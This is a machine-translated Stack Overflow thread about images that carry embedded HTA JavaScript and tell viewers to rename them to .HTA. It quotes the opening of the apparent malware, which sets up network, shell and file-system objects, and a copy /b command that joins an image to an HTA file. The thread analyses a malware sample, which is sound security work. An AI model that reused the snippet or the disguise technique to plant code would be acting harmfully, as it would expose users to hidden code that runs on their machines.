2010-08-08 134 views
3

我注意到分發潛在不安全代碼的新趨勢,其中人們將圖像發佈到服務器,並提示水印表明它們將文件名更改爲具有.HTA文件擴展名。在圖像文件中嵌入Javascript

我意識到.HTA是一個HTML應用程序文件,它被微軟的邏輯隱式信任,並且可以包含代碼來處理任何基於Web的任何事情。我用我最喜歡的文本編輯器打開文件,令我驚訝的是圖像文件中有Javascript代碼!

jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV 

//<script id=thisscript> 
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"]; 
var dom2 = ["bin","dat","bin","tmp","tmp","bin"]; 
// Global XMLHttp, shell, and file system objects 
var request = new ActiveXObject("Msxml2.XMLHTTP"); 
var shell = new ActiveXObject("WScript.Shell"); 
var fs = new ActiveXObject("Scripting.FileSystemObject"); 

源代碼下面還有更多的亂碼圖片數據。這只是一個片段。

我很好奇,知道他們如何能夠將Javascript代碼添加到圖像文件而不會破壞圖像文件格式並使其無法查看。我向一些同事介紹了這一點,他們也同樣難過。

+3

你能展示一個完整的文件示例嗎? – 2010-08-08 18:05:46

+1

我很想看到一個完整的例子 – 2010-08-08 18:08:29

回答

1

我的猜測是這是某種類型的多部分文件(對於它包含圖像和腳本數據是完全正常的),可能會立即執行(在本地上下文中),因爲它被視爲超文本應用程序。

欲瞭解更多信息,我們需要查看完整的實際文件。

+0

我發現了一個自我複製的病毒版本。它使用一個名爲ImageMagick的程序,將用戶的Windows配置文件中的隨機圖像與自己的代碼結合起來,然後將該圖像發佈到服務器。 – RavB 2010-08-09 15:19:47

1

這裏的問題是自由文件格式公差。

JPG解釋器足以容忍忽略「損壞」的非圖像數據。這就是您可以在下載時查看大型JPG的方式。 HTA解釋器足以容忍忽略文件頂部的所有奇怪「文本」,並繼續評估下面的標記和腳本。

有關於這種奇怪的行爲在這裏另一篇文章: Can I embed an icon to a .hta file? 在它Alexandre Jasmine建議嵌入在HTA的圖標使用此命令行:

 copy /b icon.ico+source.hta iconapp.hta 

您發現該圖像/腳本可以一直用這個創建技術。

您沒有包含整個腳本,但是您顯示的內容看起來非常可怕。具有Web連接,shell和文件系統對象的HTA腳本可以在您的本地文件系統中執行任何想要的操作,然後在完成後將電話回家。